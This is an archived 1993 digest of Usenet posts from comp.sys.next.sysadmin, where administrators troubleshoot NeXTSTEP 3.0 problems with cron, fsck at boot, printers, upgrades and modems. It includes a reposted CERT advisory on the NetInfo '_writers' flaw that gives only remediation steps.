0 0 * * * root /usr/bin/nidump passwd . > /etc/passwd
1 0 * * * root /usr/bin/nidump group . > /etc/group
2 0 * * * root /usr/etc/ntp -s umd1.umd.edu dcn1.udel.edu > /dev/console 2>&1
3 0 * * * root /usr/local/cops-1.04/cops > /dev/console 2>&1
10 0 * * * root /usr/local/crack-4.1/gecos/check_gecos > /dev/console 2>&1
0 1 * * * news /usr/local/inn-1.2/news/bin/news.daily > /dev/console 2>&1
55 23 * * * uucp /etc/uucp/uucp.day > /dev/console 2>&1
PROBLEM: Since the day I made the dwrite changes, the last 2 entries (they
are both run as non-root) were not being run by cron. 5 days later (after
running the reports by hand) I track back to this coincidence, and
so...yesterday, I removed the dwrites, and presto, my reports are running
again. (Note: this could be entirely coincidence, but at this point in time,
it doesn't look like it)
QUESTION: Has anybody else experienced this type of wierdness, either with
dwrites or cron?
Thanks...
Jeff
--
Jeff Kight jkight@american.edu
The American University Computing Center (202) 885-2281
Washington DC 20016-8019 USA Fax (202) 885-2224
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From: wkwong@sample.eng.ohio-state.edu (Waihon Andrew Kwong)
Subject: Re: HELP! System ALWAYS does disk check
Message-ID: <1993Jan20.143915.1633@ee.eng.ohio-state.edu>
Sender: news@ee.eng.ohio-state.edu
Organization: The Ohio State University Dept of Electrical Engineering
References: <1jeoj6INNd8r@ni.umd.edu> <C156H9.4Kx@fafnir.com>
Date: Wed, 20 Jan 1993 14:39:15 GMT
In article <C156H9.4Kx@fafnir.com>, mckelvey@fafnir.com (James W. McKelvey) writes:
>
> Maybe so. But I have 7 stations on a net and NONE of them can be reliably
> rebooted without fsck'ing after upgrading to 3.0. Curiously, the cube server
> never has a problem. There is obviously a bad bug in 3.0.
> --
> The gentle journey jars to stop. The drifting dream is
> done. The long gone goblins loom ahead; the deadly,
> that we thought were dead, stand waiting, every one.
> -- Walt Kelly Jim McKelvey mckelvey@fafnir.com
I find this on our network, too. Will this cause any problem???
Andy
From: matthews@oberon.umd.edu (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: HELP! System ALWAYS does disk check
Message-ID: <18041@umd5.umd.edu>
Date: 20 Jan 93 15:13:09 GMT
References: <1jeoj6INNd8r@ni.umd.edu> <C156H9.4Kx@fafnir.com>
Sender: news@umd5.umd.edu
Organization: Los Alamos National Laboratory, NM
In article <C156H9.4Kx@fafnir.com> mckelvey@fafnir.com writes:
>Maybe so. But I have 7 stations on a net and NONE of them can be reliably
>rebooted without fsck'ing after upgrading to 3.0. Curiously, the cube server
>never has a problem. There is obviously a bad bug in 3.0.
Works fine for me.
Of course, the obvious thing that I missed is whether or not you've stopped
doing reboot -q -n; does a normal 'reboot' work in 3.0 for you? Do you alias
reboot to something else? Is the binary linked to something else?
------
Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted)
------
Weiler's Law:
Nothing is impossible for the man who doesn't have to do it
himself.
From: neil@kynug.org (Neil Greene)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: HELP! System ALWAYS does disk check
Message-ID: <1993Jan20.152214.13951@kynug.org>
Date: 20 Jan 93 15:22:14 GMT
References: <C156H9.4Kx@fafnir.com>
Sender: neil@kynug.org (Neil Greene)
Organization: Kentucky NeXT User Group, Inc.
In article <C156H9.4Kx@fafnir.com> mckelvey@fafnir.com (James W. McKelvey)
writes:
> In article <1jeoj6INNd8r@ni.umd.edu> louie@sayshell.umd.edu (Louis A.
Mamakos)
> writes:
> > In article <1993Jan17.195642.393@count0.cmhnet.org>
cgb@count0.cmhnet.org
> writes:
> >
> > >Has started ALWAYS doing a FULL check disk on power up.
> > >running fsck in single user on the raw device does not
> > >turn up ANYTHING and doing a reboot -q -n after the fsck
> > >will work as long as I don't turn the power off...
> > >
> > >If I power the system down and back on it WILL do a full disk check..
> > >
> > >Any ideas?
> >
> > Sure. Don't shut down your system that way. By RTFM 'man reboot':
> >
> > Options to reboot are:
> >
> > -n Avoids the sync. It can be used if a disk or the pro-
> > cessor is on fire.
> >
> > -q Reboots quickly and ungracefully, without shutting down
> > running processes first.
> >
> > Note the "quickly and ungracefully" as well as "Avoids the sync".
> > Unless the file system is marked as being unmounted cleanly when the
> > system goes down, it will need to be fsck'ed to ensure that its in
> > good shape.
> >
> > To shut the system down, just use "shutdown" or "halt" with no
> > options. It works for me.
> >
> > Louis Mamakos
>
> Maybe so. But I have 7 stations on a net and NONE of them can be
reliably
> rebooted without fsck'ing after upgrading to 3.0. Curiously, the cube
server
> never has a problem. There is obviously a bad bug in 3.0.
> --
> The gentle journey jars to stop. The drifting dream is
> done. The long gone goblins loom ahead; the deadly,
> that we thought were dead, stand waiting, every one.
> -- Walt Kelly Jim McKelvey mckelvey@fafnir.com
What peripherals do you have connected to your machine?
I have the following configuration: NeXTCube, internal 1.4 (1) ,
MorningStar SnapLink (3), UniNet Slat (4) , external 1.4G HD (5) , Exabyte
tape drive (6).
I have noticed that my system _ALWAYS_ does an fsck when the Exabyte tape
drive is connected. The scsi chain is properly terminated, but for some
reason if that drive is connected and I reboot my system it will perform a
fsck. Any answers???
--
Neil Greene
President, Kentucky NeXT User Group, Inc.
Email: neil@kynug.org [NeXTMail]
--
Neil Greene
President, Kentucky NeXT User Group, Inc.
Email: neil@kynug.org [NeXTMail]
Newsgroups: comp.sys.next.sysadmin
From: jcorallo@ccsi.com (P. John Corallo)
Subject: Re: Need Network Retries Monitor
Message-ID: <1993Jan20.162314.394@ccsi.com>
Sender: jcorallo@ccsi.com
Organization: Crystal Computer Systems, Inc.
References: <1993Jan19.185055.5236@leland.Stanford.EDU>
Date: Wed, 20 Jan 1993 16:23:14 GMT
In article <1993Jan19.185055.5236@leland.Stanford.EDU>
gcolello@biosphere.Stanford.EDU (Greg Colello) writes:
> Our local network seems to be "degraded", but still functional. The
> degradation is not due to user traffic which is normal. It appears to be
> performing lots of retries in the background, but packets are usually
> successfully received (as shown by ping). Occassionally things REALLY
> degrade and packets get lost for a period of time spread out over an
hour.
> Then things get better. No doubt we have a wiring problem somewhere, but
> it's hard to fix when we don't have a good diagnostic of the marginal
> functionality. I think we need a way to track the number of retries
being
> performed to get a better handle on our marginal network health.
>
> Is there a program that accumulates statistics on network retries? I
have
> run all the utilities referred to by the man pages (for example nfsstats
> and ping). They don't seem to keep track of retries.
>
> I also have the public archive Next app KPerfMon. It shows network
packet
> activity, but that's all.
>
You can use netstat which comes with the NeXT, this will give information
on the different interfaces you can get incoming-outgoing packets and
errors also includes collisions and timeouts. In a terminal window type
netstat -it. If you want to check performance use spray from a terminal
window. In a terminal window type spray <hostname>. Also their is a
monitor program for the NeXT that happens to be called Monitor. The
source for this program is availible on the Big Green CD.
From: nevai@mps.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin
Subject: Default printer for lpr has suddenly changed - HOW TO FIX IT???
Date: 20 Jan 1993 18:05:43 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1jk49oINNqur@zaphod.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
Suddenly (after installing and enabling the Appletalk package) my default
printer (for lpr) changed from Local_Printer to jat_printer. Why??? How to
make Local_Printer the default again??? Can you help? Please respond by
email. Thanks. Take care...Paul
Here is my printcap file (nidumped from netinfo):
Local_Printer: \
:af=/B/ADM/ops.printer.acct:lf=/usr/adm/lpd-errs: \
:if=/usr/lib/NextPrinter/Server/prserver: \
:gf=/usr/lib/NextPrinter/Server/psgf: \
:nf=/usr/lib/NextPrinter/Server/psnf: \
:tf=/usr/lib/NextPrinter/Server/pstf: \
:rf=/usr/lib/NextPrinter/Server/psrf: \
:vf=/usr/lib/NextPrinter/Server/psvf: \
:cf=/usr/lib/NextPrinter/Server/pscf: \
:df=/usr/lib/NextPrinter/Server/psdf: \
:note=This is a local printer:ty=NeXT 400 dpi Level II Printer: \
:lp=/dev/null:sd=/usr/spool/NeXT/Local_Printer: \
: if=/usr/lib/NextPrinter/npcomm:sf=:sb=:mx=0:nxformat=3.0: \
:_writers=*:
jat_printer: \
:lf=/usr/adm/lpd-errs:sf=:sb=:lp=/dev/null:mx=0: \
:if=/usr/lib/NextPrinter/Server/prserver: \
:cf=/usr/lib/NextPrinter/Server/pscf: \
:df=/usr/lib/NextPrinter/Server/psdf: \
:gf=/usr/lib/NextPrinter/Server/psgf: \
:nf=/usr/lib/NextPrinter/Server/psnf: \
:rf=/usr/lib/NextPrinter/Server/psrf: \
:tf=/usr/lib/NextPrinter/Server/pstf: \
:vf=/usr/lib/NextPrinter/Server/psvf:ty=Apple LaserWriter IIg: \
:note=CH 319 jat_printer:nxformat=3.0: \
:sd=/usr/spool/NeXT/jat_printer:af=/usr/adm/jat_printer.acct: \
:_acceptsBinary=1:_writers=*:
Paul Nevai nevai@mps.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin
From: janna@reliant.bsd.uchicago.edu (& Ore Nugent)
Subject: infinite language select loop after 3.0 upgrade
Message-ID: <1993Jan20.165158.10209@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago Computing Organizations
Date: Wed, 20 Jan 1993 16:51:58 GMT
I thought I remembered seeing something about this on the net some time
ago - if anyone has any solutions, please let me know.
I've upgraded four NeXTstations from 2.1 to 3.0, and all four seemed to
complete the upgrade successfully. After rebooting, the screen blanks and
then pops up the language selection screen. I select English, the NeXT
chugs for about a minute, then displays the language selection screen
again. This could go on forever.
Logging in to the machine remotely, I see the following error messages in
/usr/adm/messages:
candlestick -[148]: Can't find shared image file _NXSharedGray
candlestick -[148]: Can't find shared image file _NXSharedGrayAlpha
candlestick -[148]: couldn't load language strings
candlestick -[148]: No cache for representation in NXImage.
candlestick last message repeated 3 times
candlestick -[148]: No cache for representation in NXImage.
candlestick -[148]: Assertion failed: loadNIBSection: could not find data
candlestick -[148]: Cannot load Interface Builder file: AlertPanel
candlestick -[148]: Cannot load Interface Builder file AlertPanel.nib
candlestick loginwindow[152]: loginwindow: could not find WindowServer
port!
Seems like I'm missing some files which I should be able to pull over from
a functioning 3.0 machine. Any ideas?
Help would be very appreciated!
Janna Ore Nugent
Biological Sciences Division
Newsgroups: comp.sys.next.sysadmin
From: gcolello@biosphere.Stanford.EDU (Greg Colello)
Subject: Re: HELP! System ALWAYS does disk check
Message-ID: <1993Jan20.182431.14426@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
References: <1993Jan20.143915.1633@ee.eng.ohio-state.edu>
Date: Wed, 20 Jan 93 18:24:31 GMT
In article <1993Jan20.143915.1633@ee.eng.ohio-state.edu>
wkwong@sample.eng.ohio-state.edu (Waihon Andrew Kwong) writes:
> In article <C156H9.4Kx@fafnir.com>, mckelvey@fafnir.com (James W.
McKelvey) writes:
> >
> > Maybe so. But I have 7 stations on a net and NONE of them can be
reliably
> > rebooted without fsck'ing after upgrading to 3.0. Curiously, the cube
server
> > never has a problem. There is obviously a bad bug in 3.0.
> > --
> > The gentle journey jars to stop. The drifting dream is
> > done. The long gone goblins loom ahead; the deadly,
> > that we thought were dead, stand waiting, every one.
> > -- Walt Kelly Jim McKelvey mckelvey@fafnir.com
>
> I find this on our network, too. Will this cause any problem???
>
> Andy
Happens here too (and we always power down with the power-down key so
shutdown should be normal). But the client does not ALWAYS do an fsck. If
the client machine has been up for a while (say a day), then it always
does an fsck after powering down and then back up. But the fsck does NOT
occur if I were to immediately power down again and then back up. Have you
other folks tried this? Are your fsck's a "delayed" phenomenon also?
I assumed this was being caused by the way I import /usr and /bin from the
server after booting the client. I assumed there was some enigmatic
conflict between the programs run at boot time from the client's /usr and
/bin directories and the subsequent mounted ones from the server. Maybe
not.
>I have noticed that my system _ALWAYS_ does an fsck when the Exabyte tape
>drive is connected. The scsi chain is properly terminated, but for some
>reason if that drive is connected and I reboot my system it will perform
> a fsck. Any answers???
We do have a SCSI device (the Next color printer), but this fsck problem
occurred before adding the printer.
>Different thread: crontab.local / loginwindow dwrite problems?!?
>PROBLEM: Since the day I made the dwrite changes, the last 2 entries
>(they are both run as non-root) were not being run by cron. 5 days later
>(after running the reports by hand) I track back to this coincidence, and
>so...yesterday, I removed the dwrites, and presto, my reports are running
>again. (Note: this could be entirely coincidence, but at this point in
>time, it doesn't look like it)
We also use the loginwindow dwrites. Maybe there's a connection here, but
I can't remember if our fsck problem started before we started using the
dwrites. How about the rest of you with this problem. Are you using the
loginwindow dwrites on your clients?
Of course another simple answer to this problem is that it has nothing to
do with NS3.0, but instead is an application we all use that is somehow
corrupting the disk. This might explain the "delayed" effect I described
above.
-----------------------------------------------------------------
Greg Colello
Carnegie Institution, Department of Plant Biology
Stanford University
gcolello@biosphere.stanford.edu (NeXT mail OK)
Newsgroups: comp.sys.next.sysadmin
From: hinkle@sundance.cso.uiuc.edu (Steven Hinkle)
Subject: Re: websterd under 3.0
References: <1993Jan20.010424.4539@cybernet.cse.fau.edu>
Message-ID: <C15sy5.I8q@news.cso.uiuc.edu>
Originator: hinkle@sundance.cso.uiuc.edu
Sender: usenet@news.cso.uiuc.edu (Net Noise owner)
Organization: University of Illinois at Urbana/Champaing - CCSO
Date: Wed, 20 Jan 1993 15:42:03 GMT
In article <1993Jan20.010424.4539@cybernet.cse.fau.edu>, tom@cse.fau.edu (Tom Horton) writes:
> Does websterd work for NeXTSTEP 3.0? I have ftp'd the files from
> iuvax.cs.indiana.edu, and while there's a directory there for 1.0 and 2.0,
> no mention of 3.0. I also see that the dictionary and thesaurus file names
> used to end in .nxbf under 2.1 and they don't under 3.0.
>
> Since the instructions seem to be 2.0 specific, I haven't actually tried
> setting it up on our 3.0 machine. What's the story?
It doesn't work. (At least not as far as I know.) I tried to get it to run, but
there seems to be some differences in the dictionary format as well as the file
names.
--
Steven Hinkle Computing and Communication Services Office
s-hinkle@uiuc.edu University of Illinois at Urbana/Champaign
From: amm@NeXT.COM (Alan M. Marcum)
Newsgroups: comp.sys.next.sysadmin
Subject: CERT Advisory: NeXT NetInfo "_writers"
Message-ID: <6318@rosie.NeXT.COM>
Date: 20 Jan 93 20:40:38 GMT
Sender: news@NeXT.COM
Following is an advisory just released by CERT which pertains to
the configuration of NetInfo on NeXT computers (and other computers
running third-party NetInfo products).
--
Alan M. Marcum
NeXT Tech Support
amm@NeXT.COM
==========================================================
From: CERT Advisory <cert-advisory-request@cert.org>
Date: Wed, 20 Jan 93 15:11:24 EST
To: CERT Advisory <cert-advisory@cert.org>
Subject: CERT Advisory - NeXT NetInfo "_writers" Vulnerabilities
Organization: Computer Emergency Response Team : 412-268-7090
CA-93:02 CERT Advisory
January 20, 1993
NeXT NetInfo "_writers" Vulnerabilities
-----------------------------------------------------------------------
The CERT Coordination Center has received information from NeXT
Computer, Inc. concerning a vulnerability in the distributed
printing facility of NeXT computers running all releases of
NeXTSTEP software through NeXTSTEP Release 3.0. For more
information, please contact your authorized support center. If
you are an authorized support provider, please contact NeXT
through your normal channels.
---------------------------------------------------------------------
I. Description
The default NetInfo "_writers" properties are configured to allow
users to install printers and FAX modems and to export them to the
network without requiring assistance from the system
administrator. They also allow a user to configure other parts of
the system, such as monitor screens, without requiring help from
the system administrator. Vulnerabilities exist in this facility
that could allow users to gain unauthorized privileges on the
system.
II. Impact
In the case of the "/printers" and the "/fax_modems" directories,
the "_writers" property can permit users to obtain unauthorized
root access to a system.
In the "/localconfig/screens" directory, the "_writers" property
can potentially permit a user to deny normal login access to other
users.
III. Solution
To close the vulnerabilities, remove the "_writers" properties
from the "/printers", "/fax_modems", and "/localconfig/screens"
directories in all NetInfo domains on the network, and from all
immediate subdirectories of all "/printers", "/fax_modems", and
"/localconfig/screens" directories. The "_writers" properties
may be removed using any one of the following three methods:
A. As root, use the "niutil" command-line utility. For example,
to remove the "_writers" property from the "/printers"
directory:
# /usr/bin/niutil -destroyprop . /printers _writers
B. Alternatively, use the NetInfoManager application: open the
desired domain, open the appropriate directory, select the
"_writers" property, choose the "Delete" command [Cmd-r] from
the "Edit" menu, and save the directory.
C. To assist system administrators in editing their NetInfo
domains, a shell script, "writersfix", is available via
anonymous FTP from next.com (129.18.1.2):
Filename Size Checksum
-------- ---- --------
pub/Misc/Utilities/WritersFix.compressed 5515 53660 6
After transferring this file using BINARY transfer type,
double-click on the file. A "WritersFix" directory will be
created in your file system, containing the script
("writersfix") and some documentation ("WritersFix.rtf").
Consider removing "_writers" from other NetInfo directories as
well (for example, "/locations"), noting the following trade-off
between ease-of-use and security. By removing the "_writers"
properties, the network and the computers on the network become
more secure, but a system administrator's assistance is required
where it previously was not required.
Please refer to the NeXTSTEP Network and System Administration
manual for additional information on "_writers". Note that the
subdirectories of the "/users" directory have "_writers_passwd"
set to the user whose account is described by the directory.
This is essential if users are to be able to change their own
passwords, and this does not compromise system security.
---------------------------------------------------------------------
The CERT Coordination Center wishes to thank Alan Marcum and Eric
Larson of NeXT Computer, Inc. for notifying us about the existence of
these vulnerabilities and for providing appropriate technical
information.
----------------------------------------------------------------------
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in FIRST (Forum of Incident
Response and Security Teams).
Internet E-mail: cert@cert.org
Telephone: 412-268-7090 (24-hour hotline)
CERT personnel answer 7:30 a.m.-6:00 p.m.
EST(GMT-5)/EDT(GMT-4),
on call for emergencies during other hours.
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
Past advisories, information about FIRST representatives, and other
information related to computer security are available for anonymous
FTP from cert.org (192.88.209.5).
From: Christian.Andretzky@TU-Chemnitz.DE (Christian Andretzky)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to change language (loginwindow)
Message-ID: <1993Jan20.233829.18868@mb3.tu-chemnitz.de>
Date: 20 Jan 93 23:38:29 GMT
References: <1993Jan18.124719.11072@cubx.fdn.org>
Sender: inews@mb3.tu-chemnitz.de (Internet news)
Organization: University of Technology Chemnitz, FRG
In article <1993Jan18.124719.11072@cubx.fdn.org> b_brottier@cubx.com writes:
> In article <1j54vpINN53i@network.ucsd.edu> wade@hobbes.ucsd.edu (Wade
Blomgren)
> writes:
> |
> | A user got to one of our turbo slabs that had just been upgraded to 3.0
> | before we did, and mischievously set the language and keyboard to
> | French instead of the desired English, in the configuration application
> | that comes up on the first reboot after a 3.0 install.
> |
> | I managed to find the right keys on the keyboard to feed in the root
> | password and get in, and I changed the root prefs to USA keyboard and
> | English, and now it seems if the average user logs in s/he gets an
> | English environment, but the loginwindow is still in French. I
> | rdist'd /.NeXT and /usr/lib/NextStep from a machine configured for
> | English and rebooted but the login window is still in French.
> | No other likely files presented themselves in an rdist comparison
> | of the tow machines.
> |
> | Suggestions on how to force the language back to English would be
> | most welcome.
> |
> | Wade Blomgren
> | wade@hobbes.ucsd.edu
>
> Just destroy
> /etc/hostconfig
> /etc/netinfo
>
> and put
> /usr/template/client/etc/hostconfig
> /usr/template/client/etc//netinfo
>
> at the previous place
> Then power-down.
>
> When power-up, you will have the NetInfo panel one more time, and check the
> correct items.
>
> Hope this helps
>
>
> --
> ---------------------------
> Bruno Brottier -- Responsable Formation
> Societe improve sa,
> 41-41 bis, avenue de l'Europe 78140 VELIZY
> Tel : (+33) (1) 30 70 60 56 Fax : (+33) (1) 30 70 89 36
> E-mail: b_brottier@cubx.com -- [NeXTmail]
another way is to use th file /etc/systemTar.Z which is a .tar.Z archive of all
files which are modified during host configuration and to restore it.
here a listing of this archive:
total 2
drwxr-xr-x 4 root wheel 1024 Jan 21 00:31 etc
drwxr-xr-x 3 root wheel 1024 Jan 21 00:31 private
etc:
total 8
-rw-r--r-- 1 root wheel 857 Jul 13 1989 bootparams
-rw-r--r-- 1 root wheel 1951 Sep 10 1989 bootptab
-rw-r--r-- 1 root wheel 236 Dec 9 1991 crontab
-rw-r--r-- 1 root wheel 589 Aug 9 1990 hostconfig
-rw-r--r-- 1 root wheel 828 Mar 18 1989 hosts
drwxr-xr-x 3 root wheel 1024 Jan 21 00:31 netinfo
drwxr-xr-x 2 root wheel 1024 Jan 21 00:31 sendmail
etc/netinfo:
total 1
drwxr-xr-x 2 root wheel 1024 Jan 21 00:31 local.nidb
etc/netinfo/local.nidb:
total 78
-rw-r--r-- 1 root wheel 78848 Aug 1 00:59 Collection
-rw-r--r-- 1 root wheel 724 Aug 1 00:42 extension_149
etc/sendmail:
total 28
-r--r--r-- 1 root wheel 9896 Jul 21 1992 sendmail.mailhost.cf
-r--r--r-- 1 root wheel 8659 Jul 21 1992
sendmail.sharedsubsidiary.cf
-r--r--r-- 1 root wheel 8410 Jul 21 1992 sendmail.subsidiary.cf
private:
total 1
drwxr-xr-x 2 root wheel 1024 Jan 21 00:31 tftpboot
private/tftpboot:
total 49
-r--r--r-- 1 root wheel 49812 Jul 30 04:48 boot
HTH, Christian
--
Name: Christian Andretzky | Address: Technische Universitaet Chemnitz |
Phone: +49 371 561 2130 | Fachbereich Maschinenbau III |
FAX: +49 371 561 2413 | Reichenhainer Str. 70 |
mail: Christian.Andretzky@TU-Chemnitz.DE D-O-9022 Chemnitz |
Newsgroups: comp.sys.next.sysadmin
From: magnus@Fisher.Stanford.EDU (Magnus Nordborg)
Subject: dwrite System PublicWindowServer
Message-ID: <1993Jan21.000325.28097@leland.Stanford.EDU>
Keywords: Preferences
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
Date: Thu, 21 Jan 93 00:03:25 GMT
When the "Preferences" application sets "System PublicWindowServer"
WorkSpace immediately becomes aware of the change. Not so when it is
changed via "dwrite". Is there a way to update whatever needs to be
updated from a shell?
--
Magnus Nordborg
Department of Biological Sciences
Stanford University
magnus@fisher.stanford.edu (NeXT mail preferred)
From: amm@NeXT.COM (Alan M. Marcum)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: CERT Advisory: NeXT NetInfo "_writers" [bug in writersfix]
Message-ID: <6321@rosie.NeXT.COM>
Date: 20 Jan 93 21:36:18 GMT
Sender: news@NeXT.COM
There's a small bug in writersfix. Nuts. Thanks, though, to Mat
Hostetter at MIT who found it and told me about it.
The bug: rFlag gets set to -r instead of -remove.
There's a new verision of WritersFix.compressed on NeXT.COM. The new
checksum for the file is 52703 6.
My red-faced apologies: I made a late change to some things I'd already
tested, and neglected, in the rush of it all, to do proper regression
testing.
--
Alan M. Marcum
NeXT Tech Support
amm@NeXT.COM
From: knudsens@newton.ccs.tuns.ca (Steven K Knudsen)
Newsgroups: comp.sys.next.sysadmin
Subject: Can I connect to a PC network running NetWare Lite ?
Message-ID: <1993Jan20.221129.3454@newton.ccs.tuns.ca>
Date: 20 Jan 93 22:11:29 GMT
Distribution: na
Organization: Technical University of Nova Scotia, Halifax, N.S.
The title says it all. We want to connect to a PC NetWare Lite
network to use their printers. I've read the NeXTStep 3.0 info
on NetWare and have tried it that way, but no luck. Do any kind
souls have advice for me...?
Please e-mail responses. If interest is sufficient, I'll summarize.
Thanks, Steven Knudsen
knudsens@tuns.ca
--
K. Steven Knudsen | The lasers are in the labs, the old
TUNS | man is dressed in white clothes.
Department of Electrical Engineering | Everybody says that he's mad -
knudsens@tuns.ca | Nobody knows the things that he knows.
From: kline@cs.arizona.edu (Nick Kline)
Newsgroups: comp.sys.next.sysadmin,comp.dcom.modems
Subject: strange Zyxel modem problem
Message-ID: <30203@optima.cs.arizona.edu>
Date: 20 Jan 93 22:59:43 GMT
Sender: news@cs.arizona.edu
Followup-To: comp.dcom.modems
I have a next 68040 cube running OS 3.0 with a zyxel 1496E modem
running 5.02 Roms.
I have a strange problem. I get line noise and then the modem eventually
hangs up.
One way to cause the problem is to log on at 9600 baud and cat a large
file. After a while it seems to overrun the capabilities of the computer.
I am using all the default setting on the Zyxel, and have a proper 68040
modem cable that worked before with a 2400 baud modem.
Another strange problem. Sometimes, it transmits some characters
incorrectly or they don't appear. The modem claims a 9600/ARQ/v42.b
connection, which I thought mean error correction.
After it kind of hiccups and doesn't transmit a few characters, sometimes
I interrupt the modem with 3 '+' and then type ati2, which is supposed
to dump the stat. Sometimes, the stats do not print out correctly
on the screen! Its like the modem is sending the wrong stuff, or there is
a problem with the cable. I don't think I have a problem with
the cable, as it worked fine for a year. Its just that all kind of
funky chars print out instead of the ati2 info.
I have tried all of the various tests discussed in the manual. Nothing
comes of them.
Earlier this year my modem worked fine also. Nothing has really changed
since then, it just doesn't work.
Any ideas? Someone has offered to swap modems with me (a diff. brand
of 9600 baud and I could try that).
After reading this, it looks like the problem could be:
a. bad cable
b. bad modem.
The system I'm calling is a unix box, actually a cisco router which
calls the unix box. I have also called another terminal server which
connects to unix boxes and have verrified the same kind of problems.
thanks for any help
--nick
kline@cs.arizona.edu
From: nevai@ops.mps.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: websterd under 3.0
Date: 21 Jan 1993 00:35:36 GMT
Organization: Department of Mathematics, The Ohio State University
Message-ID: <1jkr4oINN1uu@zaphod.mps.ohio-state.edu>
References: <1993Jan20.010424.4539@cybernet.cse.fau.edu> <C15sy5.I8q@news.cso.uiuc.edu>
In article <C15sy5.I8q@news.cso.uiuc.edu> s-hinkle@uiuc.edu writes:
>
>In article <1993Jan20.010424.4539@cybernet.cse.fau.edu>, tom@cse.fau.edu (Tom Horton) writes:
>> Does websterd work for NeXTSTEP 3.0? I have ftp'd the files from
>> iuvax.cs.indiana.edu, and while there's a directory there for 1.0 and 2.0,
>> no mention of 3.0. I also see that the dictionary and thesaurus file names
>> used to end in .nxbf under 2.1 and they don't under 3.0.
>>
>> Since the instructions seem to be 2.0 specific, I haven't actually tried
>> setting it up on our 3.0 machine. What's the story?
>
>
>It doesn't work. (At least not as far as I know.) I tried to get it to run, but
>there seems to be some differences in the dictionary format as well as the file
>names.
>
It works on mine! I simply copied my .nxbf files from 2.1 to 3.0. They are
huge files but something for something. Look:
ops~ 2429: l /NextLibrary/References/Webster-Dictionary
total 54791
-rw-r--r-- 1 root 14262272 Mar 27 1992 CompactDictionary
-rw-r--r-- 1 root 21299200 Mar 27 1992 Dictionary
-rw-r--r-- 1 root 20258816 Oct 22 1990 Dictionary.nxbf
-rw-r--r-- 1 root 196602 Oct 25 1990 codebook
drwxr-xr-x 2 root 1024 Mar 28 1992 info/
drwxr-xr-x 2 root 21504 Jul 2 1991 pictures/
drwxr-xr-x 2 root 1024 Jul 2 1991 tiff/
ops~ 2430: l /NextLibrary/References/Webster-Thesaurus
total 6568
-rw-r--r-- 1 root 3399680 Mar 27 1992 Thesaurus
-rw-r--r-- 1 root 3309568 May 14 1992 Thesaurus.nxbf
Take care...Paul
P.S. Oh yes, dont' forget this either:
/etc/inetd.conf:
webster stream tcp nowait nobody /usr/local/etc/websterd websterd -l -n 128.146.88.
Paul Nevai pali+@osu.edu
Department of Mathematics nevai@mps.ohio-state.edu
The Ohio State University nevai@ohstpy.bitnet
231 West Eighteenth Avenue 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174 1-614-292-5310 (Answering Machine)
The United States of America 1-614-292-1479 (Math Dept Fax)
From: amm@NeXT.COM (Alan M. Marcum)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: CERT Advisory: NeXT NetInfo "_writers" [bug in writersfix]
Message-ID: <6324@rosie.NeXT.COM>
Date: 21 Jan 93 00:18:33 GMT
References: <6321@rosie.NeXT.COM>
Sender: news@NeXT.COM
Let's try to get it right this time. Next time I'll take a bit more
time the first time. (Did that make sense?)
The correct checksum for WritersFix.compressed on NeXT.COM is 25625 6.
(The file is in ~ftp/pub/Misc/Utilities.)
Once again, apologies. I hope this is the last one; else, I might
have to do something silly like hang myself upside-down from the
rafters in penance.
--
Alan M. Marcum
NeXT Tech Support
amm@NeXT.COM
From: shuque@spectre.sas.upenn.edu (Shumon Huque)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: 17" Fimi Color Monitor Problems - Help!
Message-ID: <105881@netnews.upenn.edu>
Date: 21 Jan 93 00:03:03 GMT
Sender: news@netnews.upenn.edu
Followup-To: comp.sys.next.sysadmin
Organization: University of Pennsylvania
The 17" Color Monitor (old Phillips variety, not Sony) on my Color
NeXTstation is dying. It was purchased in September '92 and only had a
3 month warranty and I can't afford to have it repaired.
Here are the symptoms: since yesterday the screen has been periodically
blanking out completely. Occasionally it will return to normal after
some time, occasionally I have to reboot, occasionally it wont reappear
for hours.
There is also an occasional flicker on the screen which I have always had
to a varying degree, but it did not bother me much, so I disregarded it.
The flickering seems to have increased lately.
I am not a hardware person, so I thought I would ask for suggestions, before
attempting surgery myself :) I am completely incapacitated without it and
desperately need it back .. !
Has anyone else seen such problems before?
Shumon Huque
--shuque@spectre.sas.upenn.edu
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: Explanation of message during boot?
Message-ID: <C16MFq.E1t@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <shmuli.727478601@techunix.technion.ac.il> <14.UUL1.3#16216@corona.wa.com>
Date: Thu, 21 Jan 1993 02:18:48 GMT
pkron@corona.wa.com (Peter Kron) writes:
>> From: shmuli@techunix.technion.ac.il (Shmuel Browns)
>>
>> All of a sudden (or at least I never noticed it before), I get a message
>> right at the end of the boot sequence:
>> Windowserver Problem starting the NeXTdimension.psdrvr routine...
>The message is in error and, I believe, harmless. I have seen it regularly
>on color NextStations and it caused no harm. (You probably just never
>noticed it.)
Yes, this is simply a warning stating that you do not have an ND
board. It has been 'fixed' in 3.0 (you no longer see the message).
It is harmless unless you do indeed have an ND board.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
